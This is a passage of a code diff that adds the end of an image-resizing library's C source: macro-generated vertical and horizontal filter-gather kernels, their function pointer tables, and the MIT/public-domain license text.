+    #ifdef STB_IMAGE_RESIZE_VERTICAL_CONTINUE
+    stbIF0( o0 = output[0] + input0[0] * c0s; )
+    #else
+    stbIF0( o0  = input0[0] * c0s; )
+    #endif
+    stbIF1( o0 += input1[0] * c1s; )
+    stbIF2( o0 += input2[0] * c2s; )
+    stbIF3( o0 += input3[0] * c3s; )
+    stbIF4( o0 += input4[0] * c4s; )
+    stbIF5( o0 += input5[0] * c5s; )
+    stbIF6( o0 += input6[0] * c6s; )
+    stbIF7( o0 += input7[0] * c7s; )
+    output[0] = o0;
+    ++output;
+    stbIF0( ++input0; ) stbIF1( ++input1; ) stbIF2( ++input2; ) stbIF3( ++input3; ) stbIF4( ++input4; ) stbIF5( ++input5; ) stbIF6( ++input6; ) stbIF7( ++input7; )
+  }
+}
+
+#undef stbIF0
+#undef stbIF1
+#undef stbIF2
+#undef stbIF3
+#undef stbIF4
+#undef stbIF5
+#undef stbIF6
+#undef stbIF7
+#undef STB_IMAGE_RESIZE_DO_VERTICALS
+#undef STBIR__vertical_channels
+#undef STB_IMAGE_RESIZE_DO_HORIZONTALS
+#undef STBIR_strs_join24
+#undef STBIR_strs_join14
+#undef STBIR_chans
+#ifdef STB_IMAGE_RESIZE_VERTICAL_CONTINUE
+#undef STB_IMAGE_RESIZE_VERTICAL_CONTINUE
+#endif
+
+#else // !STB_IMAGE_RESIZE_DO_VERTICALS
+
+#define STBIR_chans( start, end ) STBIR_strs_join1(start,STBIR__horizontal_channels,end)
+
+#ifndef stbir__2_coeff_only
+#define stbir__2_coeff_only()             \
+    stbir__1_coeff_only();                \
+    stbir__1_coeff_remnant(1);
+#endif
+
+#ifndef stbir__2_coeff_remnant
+#define stbir__2_coeff_remnant( ofs )     \
+    stbir__1_coeff_remnant(ofs);          \
+    stbir__1_coeff_remnant((ofs)+1);
+#endif
+
+#ifndef stbir__3_coeff_only
+#define stbir__3_coeff_only()             \
+    stbir__2_coeff_only();                \
+    stbir__1_coeff_remnant(2);
+#endif
+
+#ifndef stbir__3_coeff_remnant
+#define stbir__3_coeff_remnant( ofs )     \
+    stbir__2_coeff_remnant(ofs);          \
+    stbir__1_coeff_remnant((ofs)+2);
+#endif
+
+#ifndef stbir__3_coeff_setup
+#define stbir__3_coeff_setup()
+#endif
+
+#ifndef stbir__4_coeff_start
+#define stbir__4_coeff_start()            \
+    stbir__2_coeff_only();                \
+    stbir__2_coeff_remnant(2);
+#endif
+
+#ifndef stbir__4_coeff_continue_from_4
+#define stbir__4_coeff_continue_from_4( ofs )     \
+    stbir__2_coeff_remnant(ofs);                  \
+    stbir__2_coeff_remnant((ofs)+2);
+#endif
+
+#ifndef stbir__store_output_tiny
+#define stbir__store_output_tiny stbir__store_output
+#endif
+
+static void STBIR_chans( stbir__horizontal_gather_,_channels_with_1_coeff)( float * output_buffer, unsigned int output_sub_size, float const * decode_buffer, stbir__contributors const * horizontal_contributors, float const * horizontal_coefficients, int coefficient_width )
+{
+  float const * output_end = output_buffer + output_sub_size * STBIR__horizontal_channels;
+  float STBIR_SIMD_STREAMOUT_PTR( * ) output = output_buffer;
+  STBIR_SIMD_NO_UNROLL_LOOP_START
+  do {
+    float const * decode = decode_buffer + horizontal_contributors->n0 * STBIR__horizontal_channels;
+    float const * hc = horizontal_coefficients;
+    stbir__1_coeff_only();
+    stbir__store_output_tiny();
+  } while ( output < output_end );
+}
+
+static void STBIR_chans( stbir__horizontal_gather_,_channels_with_2_coeffs)( float * output_buffer, unsigned int output_sub_size, float const * decode_buffer, stbir__contributors const * horizontal_contributors, float const * horizontal_coefficients, int coefficient_width )
+{
+  float const * output_end = output_buffer + output_sub_size * STBIR__horizontal_channels;
+  float STBIR_SIMD_STREAMOUT_PTR( * ) output = output_buffer;
+  STBIR_SIMD_NO_UNROLL_LOOP_START
+  do {
+    float const * decode = decode_buffer + horizontal_contributors->n0 * STBIR__horizontal_channels;
+    float const * hc = horizontal_coefficients;
+    stbir__2_coeff_only();
+    stbir__store_output_tiny();
+  } while ( output < output_end );
+}
+
+static void STBIR_chans( stbir__horizontal_gather_,_channels_with_3_coeffs)( float * output_buffer, unsigned int output_sub_size, float const * decode_buffer, stbir__contributors const * horizontal_contributors, float const * horizontal_coefficients, int coefficient_width )
+{
+  float const * output_end = output_buffer + output_sub_size * STBIR__horizontal_channels;
+  float STBIR_SIMD_STREAMOUT_PTR( * ) output = output_buffer;
+  STBIR_SIMD_NO_UNROLL_LOOP_START
+  do {
+    float const * decode = decode_buffer + horizontal_contributors->n0 * STBIR__horizontal_channels;
+    float const * hc = horizontal_coefficients;
+    stbir__3_coeff_only();
+    stbir__store_output_tiny();
+  } while ( output < output_end );
+}
+
+static void STBIR_chans( stbir__horizontal_gather_,_channels_with_4_coeffs)( float * output_buffer, unsigned int output_sub_size, float const * decode_buffer, stbir__contributors const * horizontal_contributors, float const * horizontal_coefficients, int coefficient_width )
+{
+  float const * output_end = output_buffer + output_sub_size * STBIR__horizontal_channels;
+  float STBIR_SIMD_STREAMOUT_PTR( * ) output = output_buffer;
+  STBIR_SIMD_NO_UNROLL_LOOP_START
+  do {
+    float const * decode = decode_buffer + horizontal_contributors->n0 * STBIR__horizontal_channels;
+    float const * hc = horizontal_coefficients;
+    stbir__4_coeff_start();
+    stbir__store_output();
+  } while ( output < output_end );
+}
+
+static void STBIR_chans( stbir__horizontal_gather_,_channels_with_5_coeffs)( float * output_buffer, unsigned int output_sub_size, float const * decode_buffer, stbir__contributors const * horizontal_contributors, float const * horizontal_coefficients, int coefficient_width )
+{
+  float const * output_end = output_buffer + output_sub_size * STBIR__horizontal_channels;
+  float STBIR_SIMD_STREAMOUT_PTR( * ) output = output_buffer;
+  STBIR_SIMD_NO_UNROLL_LOOP_START
+  do {
+    float const * decode = decode_buffer + horizontal_contributors->n0 * STBIR__horizontal_channels;
+    float const * hc = horizontal_coefficients;
+    stbir__4_coeff_start();
+    stbir__1_coeff_remnant(4);
+    stbir__store_output();
+  } while ( output < output_end );
+}
+
+static void STBIR_chans( stbir__horizontal_gather_,_channels_with_6_coeffs)( float * output_buffer, unsigned int output_sub_size, float const * decode_buffer, stbir__contributors const * horizontal_contributors, float const * horizontal_coefficients, int coefficient_width )
+{
+  float const * output_end = output_buffer + output_sub_size * STBIR__horizontal_channels;
+  float STBIR_SIMD_STREAMOUT_PTR( * ) output = output_buffer;
+  STBIR_SIMD_NO_UNROLL_LOOP_START
+  do {
+    float const * decode = decode_buffer + horizontal_contributors->n0 * STBIR__horizontal_channels;
+    float const * hc = horizontal_coefficients;
+    stbir__4_coeff_start();
+    stbir__2_coeff_remnant(4);
+    stbir__store_output();
+  } while ( output < output_end );
+}
+
+static void STBIR_chans( stbir__horizontal_gather_,_channels_with_7_coeffs)( float * output_buffer, unsigned int output_sub_size, float const * decode_buffer, stbir__contributors const * horizontal_contributors, float const * horizontal_coefficients, int coefficient_width )
+{
+  float const * output_end = output_buffer + output_sub_size * STBIR__horizontal_channels;
+  float STBIR_SIMD_STREAMOUT_PTR( * ) output = output_buffer;
+  stbir__3_coeff_setup();
+  STBIR_SIMD_NO_UNROLL_LOOP_START
+  do {
+    float const * decode = decode_buffer + horizontal_contributors->n0 * STBIR__horizontal_channels;
+    float const * hc = horizontal_coefficients;
+
+    stbir__4_coeff_start();
+    stbir__3_coeff_remnant(4);
+    stbir__store_output();
+  } while ( output < output_end );
+}
+
+static void STBIR_chans( stbir__horizontal_gather_,_channels_with_8_coeffs)( float * output_buffer, unsigned int output_sub_size, float const * decode_buffer, stbir__contributors const * horizontal_contributors, float const * horizontal_coefficients, int coefficient_width )
+{
+  float const * output_end = output_buffer + output_sub_size * STBIR__horizontal_channels;
+  float STBIR_SIMD_STREAMOUT_PTR( * ) output = output_buffer;
+  STBIR_SIMD_NO_UNROLL_LOOP_START
+  do {
+    float const * decode = decode_buffer + horizontal_contributors->n0 * STBIR__horizontal_channels;
+    float const * hc = horizontal_coefficients;
+    stbir__4_coeff_start();
+    stbir__4_coeff_continue_from_4(4);
+    stbir__store_output();
+  } while ( output < output_end );
+}
+
+static void STBIR_chans( stbir__horizontal_gather_,_channels_with_9_coeffs)( float * output_buffer, unsigned int output_sub_size, float const * decode_buffer, stbir__contributors const * horizontal_contributors, float const * horizontal_coefficients, int coefficient_width )
+{
+  float const * output_end = output_buffer + output_sub_size * STBIR__horizontal_channels;
+  float STBIR_SIMD_STREAMOUT_PTR( * ) output = output_buffer;
+  STBIR_SIMD_NO_UNROLL_LOOP_START
+  do {
+    float const * decode = decode_buffer + horizontal_contributors->n0 * STBIR__horizontal_channels;
+    float const * hc = horizontal_coefficients;
+    stbir__4_coeff_start();
+    stbir__4_coeff_continue_from_4(4);
+    stbir__1_coeff_remnant(8);
+    stbir__store_output();
+  } while ( output < output_end );
+}
+
+static void STBIR_chans( stbir__horizontal_gather_,_channels_with_10_coeffs)( float * output_buffer, unsigned int output_sub_size, float const * decode_buffer, stbir__contributors const * horizontal_contributors, float const * horizontal_coefficients, int coefficient_width )
+{
+  float const * output_end = output_buffer + output_sub_size * STBIR__horizontal_channels;
+  float STBIR_SIMD_STREAMOUT_PTR( * ) output = output_buffer;
+  STBIR_SIMD_NO_UNROLL_LOOP_START
+  do {
+    float const * decode = decode_buffer + horizontal_contributors->n0 * STBIR__horizontal_channels;
+    float const * hc = horizontal_coefficients;
+    stbir__4_coeff_start();
+    stbir__4_coeff_continue_from_4(4);
+    stbir__2_coeff_remnant(8);
+    stbir__store_output();
+  } while ( output < output_end );
+}
+
+static void STBIR_chans( stbir__horizontal_gather_,_channels_with_11_coeffs)( float * output_buffer, unsigned int output_sub_size, float const * decode_buffer, stbir__contributors const * horizontal_contributors, float const * horizontal_coefficients, int coefficient_width )
+{
+  float const * output_end = output_buffer + output_sub_size * STBIR__horizontal_channels;
+  float STBIR_SIMD_STREAMOUT_PTR( * ) output = output_buffer;
+  stbir__3_coeff_setup();
+  STBIR_SIMD_NO_UNROLL_LOOP_START
+  do {
+    float const * decode = decode_buffer + horizontal_contributors->n0 * STBIR__horizontal_channels;
+    float const * hc = horizontal_coefficients;
+    stbir__4_coeff_start();
+    stbir__4_coeff_continue_from_4(4);
+    stbir__3_coeff_remnant(8);
+    stbir__store_output();
+  } while ( output < output_end );
+}
+
+static void STBIR_chans( stbir__horizontal_gather_,_channels_with_12_coeffs)( float * output_buffer, unsigned int output_sub_size, float const * decode_buffer, stbir__contributors const * horizontal_contributors, float const * horizontal_coefficients, int coefficient_width )
+{
+  float const * output_end = output_buffer + output_sub_size * STBIR__horizontal_channels;
+  float STBIR_SIMD_STREAMOUT_PTR( * ) output = output_buffer;
+  STBIR_SIMD_NO_UNROLL_LOOP_START
+  do {
+    float const * decode = decode_buffer + horizontal_contributors->n0 * STBIR__horizontal_channels;
+    float const * hc = horizontal_coefficients;
+    stbir__4_coeff_start();
+    stbir__4_coeff_continue_from_4(4);
+    stbir__4_coeff_continue_from_4(8);
+    stbir__store_output();
+  } while ( output < output_end );
+}
+
+static void STBIR_chans( stbir__horizontal_gather_,_channels_with_n_coeffs_mod0 )( float * output_buffer, unsigned int output_sub_size, float const * decode_buffer, stbir__contributors const * horizontal_contributors, float const * horizontal_coefficients, int coefficient_width )
+{
+  float const * output_end = output_buffer + output_sub_size * STBIR__horizontal_channels;
+  float STBIR_SIMD_STREAMOUT_PTR( * ) output = output_buffer;
+  STBIR_SIMD_NO_UNROLL_LOOP_START
+  do {
+    float const * decode = decode_buffer + horizontal_contributors->n0 * STBIR__horizontal_channels;
+    int n = ( ( horizontal_contributors->n1 - horizontal_contributors->n0 + 1 ) - 4 + 3 ) >> 2;
+    float const * hc = horizontal_coefficients;
+
+    stbir__4_coeff_start();
+    STBIR_SIMD_NO_UNROLL_LOOP_START
+    do {
+      hc += 4;
+      decode += STBIR__horizontal_channels * 4;
+      stbir__4_coeff_continue_from_4( 0 );
+      --n;
+    } while ( n > 0 );
+    stbir__store_output();
+  } while ( output < output_end );
+}
+
+static void STBIR_chans( stbir__horizontal_gather_,_channels_with_n_coeffs_mod1 )( float * output_buffer, unsigned int output_sub_size, float const * decode_buffer, stbir__contributors const * horizontal_contributors, float const * horizontal_coefficients, int coefficient_width )
+{
+  float const * output_end = output_buffer + output_sub_size * STBIR__horizontal_channels;
+  float STBIR_SIMD_STREAMOUT_PTR( * ) output = output_buffer;
+  STBIR_SIMD_NO_UNROLL_LOOP_START
+  do {
+    float const * decode = decode_buffer + horizontal_contributors->n0 * STBIR__horizontal_channels;
+    int n = ( ( horizontal_contributors->n1 - horizontal_contributors->n0 + 1 ) - 5 + 3 ) >> 2;
+    float const * hc = horizontal_coefficients;
+
+    stbir__4_coeff_start();
+    STBIR_SIMD_NO_UNROLL_LOOP_START
+    do {
+      hc += 4;
+      decode += STBIR__horizontal_channels * 4;
+      stbir__4_coeff_continue_from_4( 0 );
+      --n;
+    } while ( n > 0 );
+    stbir__1_coeff_remnant( 4 );
+    stbir__store_output();
+  } while ( output < output_end );
+}
+
+static void STBIR_chans( stbir__horizontal_gather_,_channels_with_n_coeffs_mod2 )( float * output_buffer, unsigned int output_sub_size, float const * decode_buffer, stbir__contributors const * horizontal_contributors, float const * horizontal_coefficients, int coefficient_width )
+{
+  float const * output_end = output_buffer + output_sub_size * STBIR__horizontal_channels;
+  float STBIR_SIMD_STREAMOUT_PTR( * ) output = output_buffer;
+  STBIR_SIMD_NO_UNROLL_LOOP_START
+  do {
+    float const * decode = decode_buffer + horizontal_contributors->n0 * STBIR__horizontal_channels;
+    int n = ( ( horizontal_contributors->n1 - horizontal_contributors->n0 + 1 ) - 6 + 3 ) >> 2;
+    float const * hc = horizontal_coefficients;
+
+    stbir__4_coeff_start();
+    STBIR_SIMD_NO_UNROLL_LOOP_START
+    do {
+      hc += 4;
+      decode += STBIR__horizontal_channels * 4;
+      stbir__4_coeff_continue_from_4( 0 );
+      --n;
+    } while ( n > 0 );
+    stbir__2_coeff_remnant( 4 );
+
+    stbir__store_output();
+  } while ( output < output_end );
+}
+
+static void STBIR_chans( stbir__horizontal_gather_,_channels_with_n_coeffs_mod3 )( float * output_buffer, unsigned int output_sub_size, float const * decode_buffer, stbir__contributors const * horizontal_contributors, float const * horizontal_coefficients, int coefficient_width )
+{
+  float const * output_end = output_buffer + output_sub_size * STBIR__horizontal_channels;
+  float STBIR_SIMD_STREAMOUT_PTR( * ) output = output_buffer;
+  stbir__3_coeff_setup();
+  STBIR_SIMD_NO_UNROLL_LOOP_START
+  do {
+    float const * decode = decode_buffer + horizontal_contributors->n0 * STBIR__horizontal_channels;
+    int n = ( ( horizontal_contributors->n1 - horizontal_contributors->n0 + 1 ) - 7 + 3 ) >> 2;
+    float const * hc = horizontal_coefficients;
+
+    stbir__4_coeff_start();
+    STBIR_SIMD_NO_UNROLL_LOOP_START
+    do {
+      hc += 4;
+      decode += STBIR__horizontal_channels * 4;
+      stbir__4_coeff_continue_from_4( 0 );
+      --n;
+    } while ( n > 0 );
+    stbir__3_coeff_remnant( 4 );
+
+    stbir__store_output();
+  } while ( output < output_end );
+}
+
+static stbir__horizontal_gather_channels_func * STBIR_chans(stbir__horizontal_gather_,_channels_with_n_coeffs_funcs)[4]=
+{
+  STBIR_chans(stbir__horizontal_gather_,_channels_with_n_coeffs_mod0),
+  STBIR_chans(stbir__horizontal_gather_,_channels_with_n_coeffs_mod1),
+  STBIR_chans(stbir__horizontal_gather_,_channels_with_n_coeffs_mod2),
+  STBIR_chans(stbir__horizontal_gather_,_channels_with_n_coeffs_mod3),
+};
+
+static stbir__horizontal_gather_channels_func * STBIR_chans(stbir__horizontal_gather_,_channels_funcs)[12]=
+{
+  STBIR_chans(stbir__horizontal_gather_,_channels_with_1_coeff),
+  STBIR_chans(stbir__horizontal_gather_,_channels_with_2_coeffs),
+  STBIR_chans(stbir__horizontal_gather_,_channels_with_3_coeffs),
+  STBIR_chans(stbir__horizontal_gather_,_channels_with_4_coeffs),
+  STBIR_chans(stbir__horizontal_gather_,_channels_with_5_coeffs),
+  STBIR_chans(stbir__horizontal_gather_,_channels_with_6_coeffs),
+  STBIR_chans(stbir__horizontal_gather_,_channels_with_7_coeffs),
+  STBIR_chans(stbir__horizontal_gather_,_channels_with_8_coeffs),
+  STBIR_chans(stbir__horizontal_gather_,_channels_with_9_coeffs),
+  STBIR_chans(stbir__horizontal_gather_,_channels_with_10_coeffs),
+  STBIR_chans(stbir__horizontal_gather_,_channels_with_11_coeffs),
+  STBIR_chans(stbir__horizontal_gather_,_channels_with_12_coeffs),
+};
+
+#undef STBIR__horizontal_channels
+#undef STB_IMAGE_RESIZE_DO_HORIZONTALS
+#undef stbir__1_coeff_only
+#undef stbir__1_coeff_remnant
+#undef stbir__2_coeff_only
+#undef stbir__2_coeff_remnant
+#undef stbir__3_coeff_only
+#undef stbir__3_coeff_remnant
+#undef stbir__3_coeff_setup
+#undef stbir__4_coeff_start
+#undef stbir__4_coeff_continue_from_4
+#undef stbir__store_output
+#undef stbir__store_output_tiny
+#undef STBIR_chans
+
+#endif  // HORIZONALS
+
+#undef STBIR_strs_join2
+#undef STBIR_strs_join1
+
+#endif // STB_IMAGE_RESIZE_DO_HORIZONTALS/VERTICALS/CODERS
+
+/*
+------------------------------------------------------------------------------
+This software is available under 2 licenses -- choose whichever you prefer.
+------------------------------------------------------------------------------
+ALTERNATIVE A - MIT License
+Copyright (c) 2017 Sean Barrett
+Permission is hereby granted, free of charge, to any person obtaining a copy of
+this software and associated documentation files (the "Software"), to deal in
+the Software without restriction, including without limitation the rights to
+use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
+of the Software, and to permit persons to whom the Software is furnished to do
+so, subject to the following conditions:
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
+------------------------------------------------------------------------------
+ALTERNATIVE B - Public Domain (www.unlicense.org)
+This is free and unencumbered software released into the public domain.
+Anyone is free to copy, modify, publish, use, compile, sell, or distribute this
+software, either in source code form or as a compiled binary, for any purpose,
+commercial or non-commercial, and by any means.
+In jurisdictions that recognize copyright laws, the author or authors of this
+software dedicate any and all copyright interest in the software to the public
+domain. We make this dedication for the benefit of the public at large and to
+the detriment of our heirs and successors. We intend this dedication to be an
+overt act of relinquishment in perpetuity of all present and future rights to
+this software under copyright law.
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+------------------------------------------------------------------------------
+*/